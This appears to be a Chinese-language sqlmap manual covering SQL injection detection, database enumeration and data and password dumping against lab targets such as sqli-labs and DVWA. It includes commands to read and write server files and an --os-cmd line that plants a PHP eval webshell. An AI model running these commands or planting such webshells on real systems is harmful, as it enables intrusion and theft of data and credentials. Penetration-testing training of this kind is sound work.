sqlmap使用手册
· 阅读需 4 分钟
基础流程:
判断是否有注入
sqlmap -u "http://192.168.10.239/sqli/Less-1/?id=1"
查看所有数据库
sqlmap -u "http://192.168.10.239/sqli/Less-1/?id=1" --dbs
查看当前使用的数据库
sqlmap -u "http://192.168.10.239/sqli/Less-1/?id=1" --current-db
查看数据表
sqlmap -u "http://192.168.10.239/sqli/Less-1/?id=1" -D security --tables
查看列名
sqlmap -u "http://192.168.10.239/sqli/Less-1/?id=1" -D security -T users --columns
基础命令
-h/hh 查看基础/全部帮助命令
-v (1-6) 输出信息现实的详细程度
--batch 使用默认值
--current-db 获取当前数据库
--currnet-user 获取当前用户
-D 指定数据库
-T 指定数据表
-C 指定列
--dbs 列举全部数据库
--tables 列举全部表
--columns 列举全部字段
--dump 获取数据
--start 1 --stop 3
高级命令
- 指定请求头
--cookie sqlmap -u "http://192.168.88.128/dvwa/vulnerabilities/sqli/?id=1&Submit=Submit#" --batch --cookie="security=low; PHPSESSID=453i5emq4gbjomrmpkrod5o5p1"
--user-agent sqlmap -u "xxx" --user-agent="xxx"
--referer
- post型注入
-r 指定注入的数据包, sqlmap -r "D:\1.txt" --batch
--data 指定post型参数 sqlmap -u "http://192.168.88.128/dvwa/vulnerabilities/sqli/#" --batch --data="id=2&Submit=Submit" --cookie="security=low; PHPSESSID=453i5emq4gbjomrmpkrod5o5p1"
- 提交数据和回显数据不在同一页面
--second-url
- 文件读写
以下三个参数的执行需要mysql服务端配置secure_file_priv=""或者secure_file_priv="xx\xx\xx\" (必须指定目标机绝对路径,而且写一句话一定要写入网站路径下才能连接菜刀)
--file-read 从目标机读取文件
--file-write 指定上传文件的本地路径
--file-dest 指定上传到目标服务器的路径
- 执行SQL查询或者系统命令
--sql-query="SQL语句"
-
注意:以下两条强烈建议不适用--batch执行,可以先用--batch发现注入后再单独执行下面两条。而且均已高权限来执行系统命令
-
--os-cmd="命令"
-
sqlmap -u "http://192.168.88.128/sqli/Less-1/?id=1" --os-cmd="echo ^<?php eval($_POST[a])\?^> > 5.php"
-
--os-shell 获得一个执行命令的shell
-
-
查看数据库用户名和密码
--users 获取数据库用户名
--passwords 获取数据库用户密码
其他高级命令
-m 指定批量url地址文件,e.g. sqlmap -m list.txt
--level 等级越高,尝试注入的payload越多。尝试注入的参数也越多。(1-5,默认是1)
--risk 风险等级,建议不去改变。(1-3,默认是1)
--tamper="unmagicquotes"
--delay 设置请求延迟时间,单位是秒,默认无延迟
--threads 设置线程(默认值1,最大值10)
-p 指定扫描的参数
参数后面加* 跑伪静态,e.g. sqlmap -u http://targeturl/param1/value1*/param2/value2/
--time-sec 指定时间延迟时间(默认5秒)
--proxy
不那么重要命令
-l 跑工具的日志文件,如burp的日志文件 e.g. sqlmap -l list.txt (burp->project options->logging->proxy->requests)
-g 测试注入Google的搜索结果中的GET参数
--param-del 变量分隔符(默认是&)
--random-agent 随机从自带的txt目录中选择user-agent
--method=GET/POST
--timeout 请求超时时间,浮点数,默认为30秒
--retries http(s)连接超时重试次数,默认3次
--randomize 长度,类型与原始值保持一致的前提下,指定每次请求随机取值的参数名
--scope 过滤日志内容,通过正则表达式筛选扫描对象
--safe-url="127.0.0.1/sqli/less-1/?id=1" 设置目标网站能正常访问的地址作为安全链接地址
--safe-freq=3 访问安全链接地址的频率,即测试多少次后访问一次安全链接地址。
-o 同时开启三个优化配置
--skip 排除指定的扫描参数
--dbms 指定数据库种类和版本
--os 指定数据库服务器的系统,(如果是windows/linux就不用制定了)
-f/-b 获取目标系统的一些信息
-a 获取全部信息
--hostname 获取主机名
--privileges 获取当前用户权限
--answer 指定答案
--purge-output 清除output文件夹